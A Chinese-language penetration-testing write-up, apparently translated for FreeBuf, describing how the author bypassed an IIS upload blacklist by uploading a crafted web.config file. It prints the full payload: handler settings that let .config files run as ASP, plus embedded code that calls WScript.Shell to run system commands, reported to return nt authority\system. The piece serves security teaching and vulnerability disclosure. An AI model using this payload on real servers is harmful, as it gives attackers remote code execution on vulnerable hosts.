本文讲述的是，我通过上传一个web.config文件，绕过目标测试网站的黑名单机制，突破执行权限限制，实现ASP代码运行获取远程代码执行权限。

前言

无聊的学校实习期，做完试验后无事可做，于是，在获得对学校网站的测试授权后，我就来了兴致。经过一番简单的前期侦测之后，我发现了某个网站存在的上传功能比较有意思。从服务探测阶段可知，该网站是一台IIS服务器，遇到这种网站，我通常会在网站URL中加上/<>来进行测试，由于ASP.NET默认设置有XSS攻击过滤功能，于是，服务器对/<>这样的测试返回了以下类似的错误响应消息：

Server Error in '/' Application.

A potentially dangerous Request.Path value was detected from the client (<).

在这个返回页底部，我查看到了具体的ASP.NET版本，还有一个Microsoft的服务器头信息：

Server: Microsoft-IIS/8.5

测试

有了这些信息之后，我就想看看是否存在一些未授权的文件上传功能。经过‘.aspx’、‘.asp’ 和 ‘.asmx’等不同后缀文件的上传测试后，都是返回了错误消息页面。

Description: Upload failed - Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856

唉，得试着转变下思路。因为我有好多年的ASP.NET编程经验，经过了这些不同后缀的文件执行测试之后，我多少对这个网站的上传机制有所了解。能不能上传一个包含正常元数据和与网站应用相关内容的文件呢？这里，我想到了‘.htaccess’ 文件，但由于这是一台Windows服务器，所以对应的文件应该是web.config，但我从来没尝试上传过这种.config文件啊。

Web.config文件

什么是web.config文件呢？

Web.config文件是一个XML文本文件，它用来储存ASP.NETWeb 应用程序的配置信息（如最常用的设置ASP.NETWeb 应用程序的身份验证方式），它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后，默认情况下会在根目录自动创建一个默认的Web.config文件，包括默认的配置设置，所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置，你可以在该子目录下新建一个Web.config文件，它可以提供除从父目录继承的配置信息以外的配置信息，也可以重写或修改父目录中定义的设置。web.config文件放置在要目录下则会对整个网站产生影响，如果放置在其它目录之下，则只会对当前目录产生影响。

通过web.config文件，我们可以对以下网站属性进行控制：

Database connection strings. （数据库连接字符串）

Error behavior.（错误操作）

Security.（安全性）

由于web.config文件是XML文本，不像‘.html’ 或 ‘.txt等特殊后缀格式，所以，我想尝试来上传个web.config看看，这一传可不得了，竟然没返回任何错误响应消息页面，而且这个web.config被成功上传到了目标服务器网站的某个目录下了。

利用web.config

好吧，现在我们想办法来利用这条途径，经过一番研究，我发现在这篇文章中有安全人员提到过，在web.config文件中添加代码实现了ASP代码运行的方式，于是，我经过改装，在其中添加了执行系统CMD命令的代码，如下：

<?xml version=”1.0″ encoding=”UTF-8″?>
<configuration>
<system.webServer>
<handlers accessPolicy=”Read, Script, Write”>
<add
 name=”web_config” path=”*.config” verb=”*” modules=”IsapiModule” 
scriptProcessor=”%windir%\system32\inetsrv\asp.dll” 
resourceType=”Unspecified” requireAccess=”Write” 
preCondition=”bitness64″ />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=”.config” />
</fileExtensions>
<hiddenSegments>
<remove segment=”web.config” />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!–
<% Response.write(“-“&”->”)
Response.write(“</p>
<pre>”)</p>
<p>Set wShell1 = CreateObject(“WScript.Shell”)
Set cmd1 = wShell1.Exec(“whoami”)
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing</p>
<p>Response.write(output1)
Response.write(“</pre>
<p><!-“&”-“) %>
–>

以上代码在web.config中添加了一个可读可写权限的处理句柄程序，然后我们在<% %>之内写入了服务器端命令执行代码。当把这个web.config文件上传成功之后，浏览访问它，就会执行系统命令whoami命令，之后可成功返回 ‘nt authority\system，这样就获得了一个远程代码执行权限！是不是很屌。剩下的就是好好写一份渗透测试报告，对这个漏洞进行上报了。

*参考来源：poc-server，FreeBuf 小编 clouds 编译，转载请注明来自 FreeBuf.COM